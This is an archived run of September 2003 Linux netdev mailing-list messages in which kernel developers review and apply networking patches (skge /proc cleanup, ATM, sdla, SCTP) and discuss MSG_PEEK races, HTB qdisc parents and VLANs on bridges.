<20030905011656.26ac1133.davem@redhat.com> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5623 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev "David S. Miller" wrote: > > > Andrew, I'm starting to think it's actually your mailer > that's changing the tabs to spaces when you forward other > people's patches to me or the networking lists. Nope, Najati's patch on lkml is all-spaces. > Every forwarded patch you've sent to me or to netdev has > had this problem. Can you make the forwarded emails > be attachments or similar? I thought sylpheed did that > by default :) I think it's OK... From mlindner@syskonnect.de Fri Sep 5 02:26:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:26:34 -0700 (PDT) Received: from gatekeeper.syskonnect.de (13.telemaxx.net [213.144.13.149] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859Pwx4018066 for ; Fri, 5 Sep 2003 02:25:59 -0700 Received: from syskonnect.de (spock [10.9.15.1]) by gatekeeper.syskonnect.de (8.12.9/8.12.9) with ESMTP id h859Q01t007495; Fri, 5 Sep 2003 11:26:01 +0200 (MET DST) Received: from mlindner-lin.skd.de (localhost [127.0.0.1]) by syskonnect.de (8.12.9/8.12.9) with ESMTP id h859Pqr7026584; Fri, 5 Sep 2003 11:25:52 +0200 (MET DST) X-Authentication-Warning: spock.skd.de: iscan owned process doing -bs Subject: Re: [RFT] simplify skge /proc interface. From: Mirko Lindner To: Stephen Hemminger Cc: Jeff Garzik , Ralph Roesler , netdev@oss.sgi.com In-Reply-To: <20030904160658.5ae22c0d.shemminger@osdl.org> References: <20030904160658.5ae22c0d.shemminger@osdl.org> Content-Type: text/plain; charset=UTF-8 Organization: Message-Id: <1220606764.18887.129.camel@mlindner-lin> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Date: 05 Sep 2008 11:26:04 +0200 X-MIME-Autoconverted: from 8bit to quoted-printable by gatekeeper.syskonnect.de id h859Q01t007495 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h859Pwx4018066 X-archive-position: 5624 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mlindner@syskonnect.de Precedence: bulk X-list: netdev Thank you for the submission, the latest driver version 6.17 (still by Linus) has a lot of proc-changes. I´ll insert the remaining changes into our tree and make a new release next week. Cheers, Mirko On Fri, 2003-09-05 at 01:06, Stephen Hemminger wrote: > This patch is against 2.6.0-test4 and simplifys the /proc interface for > the skge driver. > > * Use seq_file single_open interface to avoid possible buffer over > run and formatting issues. > * Put pointer to device in the proc dir private data to avoid having > to search through devices to find the info. > * Use %lld rather than special formatting code > * use proc_mkdir > * Don't die if proc fs is not configured or creating entries fails. > > New code is written in kernel style. > > Builds and loads but don't have real hardware. Could someone > please test this with a real board? > > Somewhere in this 8K line driver is a 1000 line driver waiting to get out... > From davem@pizda.ninka.net Fri Sep 5 02:36:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:36:43 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859a8x4022210 for ; Fri, 5 Sep 2003 02:36:09 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22235; Fri, 5 Sep 2003 02:26:19 -0700 Date: Fri, 5 Sep 2003 02:26:19 -0700 From: "David S. Miller" To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] remove net/README Message-Id: <20030905022619.1283a64e.davem@redhat.com> In-Reply-To: <20030905112242.2ad1a358.ak@suse.de> References: <20030904145204.GA27953@compsoc.man.ac.uk> <20030904074520.5dceff3e.davem@redhat.com> <20030905010725.5ee10cbf.ak@suse.de> <20030904225823.68a7b7cd.davem@redhat.com> <20030905112242.2ad1a358.ak@suse.de> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5625 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 5 Sep 2003 11:22:42 +0200 Andi Kleen wrote: > Are you doing it or should I send a patch? I'll take care of this and add a /proc/net/protocols or somesuch. From davem@pizda.ninka.net Fri Sep 5 02:46:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:46:39 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859k5x4028972 for ; Fri, 5 Sep 2003 02:46:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22287; Fri, 5 Sep 2003 02:35:36 -0700 Date: Fri, 5 Sep 2003 02:35:36 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, levon@movementarian.org Subject: Re: [PATCH][ATM] a few patches from John Levon Message-Id: <20030905023536.68e808e7.davem@redhat.com> In-Reply-To: <200309041917.h84JHrSa020864@ginger.cmf.nrl.navy.mil> References: <200309041917.h84JHrSa020864@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5626 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 04 Sep 2003 15:17:55 -0400 chas williams wrote: All applied, although: > # [ATM]: fix atm_dev module refcount bug (from levon@movementarian.org) You included this patch twice :-) Thanks. From davem@pizda.ninka.net Fri Sep 5 02:53:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:54:07 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859rXx4032626 for ; Fri, 5 Sep 2003 02:53:33 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22343; Fri, 5 Sep 2003 02:43:45 -0700 Date: Fri, 5 Sep 2003 02:43:45 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: bunk@fs.tum.de, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] fix cosa to get rid of warnings and build on SMP Message-Id: <20030905024345.77bd6953.davem@redhat.com> In-Reply-To: <20030904142828.14218966.shemminger@osdl.org> References: <20030903173417.GC18025@fs.tum.de> <20030904142828.14218966.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5627 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 14:28:28 -0700 Stephen Hemminger wrote: > * get rid of leftover sti > * no longer need MOD_INC/DEC stuff > * get rid of dead code related to MOD_INC/DEC > * use module_init/module_exit to cleanly run init code Applied, thanks. From davem@pizda.ninka.net Fri Sep 5 02:56:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:56:43 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859u9x4001689 for ; Fri, 5 Sep 2003 02:56:09 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22375; Fri, 5 Sep 2003 02:46:22 -0700 Date: Fri, 5 Sep 2003 02:46:22 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] more sdla fixes Message-Id: <20030905024622.19c87878.davem@redhat.com> In-Reply-To: <20030904144248.0599cdaf.shemminger@osdl.org> References: <20030904144248.0599cdaf.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5628 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 14:42:48 -0700 Stephen Hemminger wrote: > Since sdla.c now has locking instead of cli/sti, it shouldn't be > completely busted on SMP. > > Also, the frad interface registration needed to be done once > (and check the result), and undone on module unload. Looks good, applied. From davem@pizda.ninka.net Fri Sep 5 02:57:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:57:42 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859vUx4002508 for ; Fri, 5 Sep 2003 02:57:31 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22402; Fri, 5 Sep 2003 02:47:36 -0700 Date: Fri, 5 Sep 2003 02:47:36 -0700 From: "David S. Miller" To: Dennis =?ISO-8859-1?Q?J=F8rgensen?= Cc: netdev@oss.sgi.com Subject: Re: Trivial fix for wrong error message from icmp.c (2.6.0-test4) Message-Id: <20030905024736.4acefe68.davem@redhat.com> In-Reply-To: <3F5686C2.6090600@q.nospam.kampsax.k-net.dk> References: <3F5686C2.6090600@q.nospam.kampsax.k-net.dk> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h859vUx4002508 X-archive-position: 5629 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 04 Sep 2003 02:26:42 +0200 Dennis Jørgensen wrote: > Should I post this somewhere else/to someone else, please let me know, I > couldn't find a FAQ for the list. You're posting it to the correct place, but your patch does not apply because your mail client has turned all the tabs in the patch into spaces. I can't apply this patch until you fix that up. From davem@pizda.ninka.net Fri Sep 5 02:59:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 02:59:39 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859x0x4003635 for ; Fri, 5 Sep 2003 02:59:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22424; Fri, 5 Sep 2003 02:49:12 -0700 Date: Fri, 5 Sep 2003 02:49:12 -0700 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] SCTP updates. Message-Id: <20030905024912.3c63fd04.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5630 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 15:55:27 -0700 (PDT) Sridhar Samudrala wrote: > Please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5 > to get the following updates to SCTP on top of linux 2.6.0-test4 Looks good, pulled thanks. From davem@pizda.ninka.net Fri Sep 5 03:00:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 03:01:11 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85A0Wx4004631 for ; Fri, 5 Sep 2003 03:00:32 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22438; Fri, 5 Sep 2003 02:50:42 -0700 Date: Fri, 5 Sep 2003 02:50:42 -0700 From: "David S. Miller" To: Christoph Hellwig Cc: shemminger@osdl.org, mike.mclagan@linux.org, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] (2/8) convert sdla to new initialization Message-Id: <20030905025042.2ff7939d.davem@redhat.com> In-Reply-To: <20030905070619.A13947@infradead.org> References: <20030903164925.5c44ce73.shemminger@osdl.org> <20030905070619.A13947@infradead.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5631 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 5 Sep 2003 07:06:19 +0100 Christoph Hellwig wrote: > On Wed, Sep 03, 2003 at 04:49:25PM -0700, Stephen Hemminger wrote: > > extern int mac8390_probe(struct net_device *dev); > > extern int mac89x0_probe(struct net_device *dev); > > extern int mc32_probe(struct net_device *dev); > > +#ifdef CONFIG_SDLA > > +extern struct net_device *sdla_init(void); > > +#endif > > Please don't add ifdefs around prototypes. I fixed this all up. From davem@pizda.ninka.net Fri Sep 5 03:01:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 03:02:10 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85A1bx4005218 for ; Fri, 5 Sep 2003 03:01:37 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22452; Fri, 5 Sep 2003 02:51:47 -0700 Date: Fri, 5 Sep 2003 02:51:47 -0700 From: "David S. Miller" To: Andrew Morton Cc: netdev@oss.sgi.com Subject: Re: Fw: [PATCH] pktgen divides by zero on short runs Message-Id: <20030905025147.0a56d4d5.davem@redhat.com> In-Reply-To: <20030905021101.6e8b409c.akpm@osdl.org> References: <20030904232713.7dd4e99f.akpm@osdl.org> <20030905011656.26ac1133.davem@redhat.com> <20030905021101.6e8b409c.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5632 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 5 Sep 2003 02:11:01 -0700 Andrew Morton wrote: > Nope, Najati's patch on lkml is all-spaces. Ok, please tell him to fix his mailer so I can apply the patches he submits. You can also tell him to send such patches to netdev and then you'll never have to forward patches for him again :) From davem@pizda.ninka.net Fri Sep 5 03:05:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 03:06:23 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85A5cx4007408 for ; Fri, 5 Sep 2003 03:05:39 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA22489; Fri, 5 Sep 2003 02:55:46 -0700 Date: Fri, 5 Sep 2003 02:55:46 -0700 From: "David S. Miller" To: John Levon Cc: chas3@users.sourceforge.net, chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM] a few patches from John Levon Message-Id: <20030905025546.77505271.davem@redhat.com> In-Reply-To: <20030905095539.GD38861@compsoc.man.ac.uk> References: <200309041917.h84JHrSa020864@ginger.cmf.nrl.navy.mil> <20030905023536.68e808e7.davem@redhat.com> <20030905095539.GD38861@compsoc.man.ac.uk> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5633 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 5 Sep 2003 10:55:39 +0100 John Levon wrote: > Hmm, then I think you're missing patch 5 : Looks good to me, applied. From ak@suse.de Fri Sep 5 03:31:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 03:32:25 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85AVcx4019847 for ; Fri, 5 Sep 2003 03:31:39 -0700 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B452115B387B; Fri, 5 Sep 2003 11:22:44 +0200 (CEST) Date: Fri, 5 Sep 2003 11:22:42 +0200 From: Andi Kleen To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] remove net/README Message-Id: <20030905112242.2ad1a358.ak@suse.de> In-Reply-To: <20030904225823.68a7b7cd.davem@redhat.com> References: <20030904145204.GA27953@compsoc.man.ac.uk> <20030904074520.5dceff3e.davem@redhat.com> <20030905010725.5ee10cbf.ak@suse.de> <20030904225823.68a7b7cd.davem@redhat.com> X-Mailer: Sylpheed version 0.8.9 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5634 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 22:58:23 -0700 "David S. Miller" wrote: > On Fri, 5 Sep 2003 01:07:25 +0200 > Andi Kleen wrote: > > > When you're doing janitor type stuff currently I would also suggest > > an update of the NET4 version numbers: > > I don't think we need to print all this crap out at all. Makes sense. Especially since the version numbers tended to be stale traditionally. I would keep at least one printk for high level networking so that we know it has started (useful to get some clue where we are on a total hang) One small disadvantage when e.g. the appletalk or ipx printks are killed is that you cannot check if the user has compiled them in or loaded. But that's probably tolerable. If it should be a problem a /proc/net/protocols would be probably a better solution. Are you doing it or should I send a patch? -Andi From ams@wiw.org Fri Sep 5 03:46:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 03:47:23 -0700 (PDT) Received: from miranda.org (IDENT:qmailr@miranda.org [209.58.150.153]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Aknx4027924 for ; Fri, 5 Sep 2003 03:46:50 -0700 Received: (qmail 25269 invoked from network); 5 Sep 2003 10:46:44 -0000 Received: from miranda.org (HELO lustre.dyn.wiw.org) (ams@209.58.150.153) by miranda.org with SMTP; 5 Sep 2003 10:46:44 -0000 Received: from ams by lustre.dyn.wiw.org with local (Exim 4.20) id 19vE70-0007kZ-3p; Fri, 05 Sep 2003 16:16:42 +0530 Date: Fri, 5 Sep 2003 16:16:42 +0530 From: Abhijit Menon-Sen To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: how is recv(..., MSG_PEEK) racy? Message-ID: <20030905161642.A29720@lustre.dyn.wiw.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-archive-position: 5635 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ams@wiw.org Precedence: bulk X-list: netdev (I posted this To: netdev twice, but it didn't show up, even though I am receiving other posts from the list. I apologise if anyone gets multiple copies of this message.) I'm trying to understand a fetchmail problem that causes large downloads from IMAP servers to fail randomly. For some reason, fetchmail uses the following bizarre code inside a loop to read data from the server: if ((n = recv(sock, bp, len, MSG_PEEK)) <= 0) return (-1); if ((newline = memchr(bp, '\n', n)) != NULL) n = newline - bp + 1; if ((n = read(sock, bp, n)) == -1) return (-1); The problem occurs (at an unpredictable time, but very often, and with a greater probability with a larger attachment) when the recv() returns 0, although tcpdump doesn't show the server closing the connection, or any other unusual behaviour. Are there any circumstances other than the connection being closed where recv(..., MSG_PEEK) can return 0? (Stevens/SUSv3 don't mention any.) I found the following (paraphrased) comment in net/ipv4/tcp.c: if ((flags & MSG_PEEK) && peek_seq != tp->copied_seq) { printk(KERN_DEBUG "TCP(%s:%d): Application bug, race in MSG_PEEK.\n", current->comm, current->pid); While fetchmail doesn't seem to be triggering that printk(), I'm curious about what the race condition is. Google found a post by DaveM saying it has something to do with URG data, but without any further details. I'd appreciate any explanation of the problem(s). Thank you. -- ams From hadi@cyberus.ca Fri Sep 5 05:01:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 05:01:54 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85C1Ix4028242 for ; Fri, 5 Sep 2003 05:01:19 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19vFH1-000ItN-00; Fri, 05 Sep 2003 08:01:07 -0400 Subject: Re: 2.6.0-test4, 2.5.47, child qdiscs, parent not filled out? From: jamal Reply-To: hadi@cyberus.ca To: devik Cc: bert hubert , netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1062763235.1459.14.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 05 Sep 2003 08:00:36 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5636 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev olla, Actually HTB does seem to be missing something; havent looked at the code - just looking at a black box perspective. Try a very simple test: Add a root CBQ qdisc and watch the netlink messages produced. Observe CBQ creating both a root qdisc and class where the children will be attached. Repeat same test for HTB - it doesnt create the top class. I believe it is needed. Sorry too tied up elsewhere to help right now. cheers, jamal On Wed, 2003-09-03 at 17:01, devik wrote: > > Devik (I hope we can be friends again :-)), others, > > yep I think so :-) > > > If I create a cbq with several classes, and attach a qdisc to those classes, > > a later netlink dump (RTM_GETQDISCS) returns parent as 0:0 for that qdisc, > > is this right? > > structure Qdisc has DEPRECATED field __parent pointing to parent > qdisc (aparently CBQ needs it). > There is no other "parent" info in the struct so it can't be returned > IMHO. > You will have to parse all clases from root to leaves. > > Maybe we could add parent handle to qdisc but it is question to > Alexey probably - I'm not sure how complex would it be to keep > the field in sync ... > > devik > > > From stuge-vlan@cdy.org Fri Sep 5 05:08:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 05:09:04 -0700 (PDT) Received: from foo.birdnet.se (qmailr@foo.birdnet.se [213.88.146.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85C8Sx4031377 for ; Fri, 5 Sep 2003 05:08:29 -0700 Received: (qmail 19985 invoked by uid 501); 5 Sep 2003 11:42:14 -0000 Date: Fri, 5 Sep 2003 13:42:14 +0200 From: Peter Stuge To: Bart De Schuymer Cc: "David S.Miller" , netdev@oss.sgi.com, vlan@wanfear.com Subject: Re: [VLAN] Re: [PATCH/RFC] disallow vlan devices on top of a logical bridge device Message-ID: <20030905114214.GC17851@foo.birdnet.se> Mail-Followup-To: Bart De Schuymer , "David S.Miller" , netdev@oss.sgi.com, vlan@wanfear.com References: <200308301504.03241.bdschuym@pandora.be> <3F50FF0E.9020004@candelatech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F50FF0E.9020004@candelatech.com> X-archive-position: 5637 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: stuge-vlan@cdy.org Precedence: bulk X-list: netdev On Sat, Aug 30, 2003 at 12:46:22PM -0700, Ben Greear wrote: > Bart De Schuymer wrote: > >The patch below disables making vlan devices on top of bridge > >devices, f.e. br0.12 would be impossible. > >I'm no vlan expert, but I don't see the use for this and allowing it > >will make the bridge-nf code hairy if we want to let {ip,arp}tables see > >{IP,ARP} traffic that is embedded in a vlan header. I think being able to make a br0.12 is a very good thing, but if it isn't working properly all the way through *tables, I'd say it's better to take the possibility away. When someone needs br0.12 bad enough she or he can deal with the bridge-nf code as well. > >Also, situations like eth0.15 being a bridge port of br0.16 seem > >unwanted (to me). Not neccessarily, since Linux can be connected to multiple "VLAN domains" (is there a proper term for it?) - that is, all of the VLANs on one interface could be completely separate from all VLANs on another interface, making eth0.15 a bridge port of br0.16 only logical. Admittedly large setups, though. > However, I'm forwarding this to the vlan mailing list, as I know there > are folks there who use vlans and bridging a lot.... For those who > care, please speak up if you need this functionality for some reason... If {i,ar}ptables doesn't deal with VLANs on bridge ports there's no point in keeping it, IMHO. //Peter From chas@cmf.nrl.navy.mil Fri Sep 5 05:41:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 05:42:27 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Cfox4018841 for ; Fri, 5 Sep 2003 05:41:51 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h85CePSa005097; Fri, 5 Sep 2003 08:40:25 -0400 (EDT) Message-Id: <200309051240.h85CePSa005097@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: John Levon , netdev@oss.sgi.com Reply-To: chas3@users.sourceforge.net Subject: Re: [PATCH][ATM] a few patches from John Levon In-reply-to: Your message of "Fri, 05 Sep 2003 02:55:46 PDT." <20030905025546.77505271.davem@redhat.com> Date: Fri, 05 Sep 2003 08:40:26 -0400 From: chas williams X-Spam-Score: () hits=-0.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5638 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev In message <20030905025546.77505271.davem@redhat.com>,"David S. Miller" writes: >On Fri, 5 Sep 2003 10:55:39 +0100 >John Levon wrote: >> Hmm, then I think you're missing patch 5 : >Looks good to me, applied. yes, i apparently included the wrong file. sorry about that and thanks for resending it! From chas@cmf.nrl.navy.mil Fri Sep 5 05:52:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 05:52:40 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85CqZx4019721 for ; Fri, 5 Sep 2003 05:52:36 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h85CqKSa005300; Fri, 5 Sep 2003 08:52:20 -0400 (EDT) Message-Id: <200309051252.h85CqKSa005300@ginger.cmf.nrl.navy.mil> To: davem@redhat.com, John Levon cc: linux-atm-general@lists.sourceforge.net, netdev@oss.sgi.com Reply-To: chas3@users.sourceforge.net Reply-To: chas3@users.sourceforge.net Subject: Re: [Linux-ATM-General] [PATCH] ATM - remove unnecessary GFP_ATOMIC allocation In-reply-to: Your message of "Fri, 05 Sep 2003 12:53:08 BST." <20030905115308.GA96209@compsoc.man.ac.uk> Date: Fri, 05 Sep 2003 08:52:22 -0400 From: chas williams X-Spam-Score: () hits=-2.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5639 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev In message <20030905115308.GA96209@compsoc.man.ac.uk>,John Levon writes: >There's no reason to allocate with GFP_ATOMIC in __alloc_atm_dev(). It has one >callsite that is not under a spin lock (quick audit of drivers calling >atm_dev_register() too). it used to be under a spinlock (the infamous atm global spinlock). that's no longer the case so it doesnt need to be ATOMIC anymore. i probably missed it when i fixed the spinlock. dave, please apply to 2.6 (and 2.4) 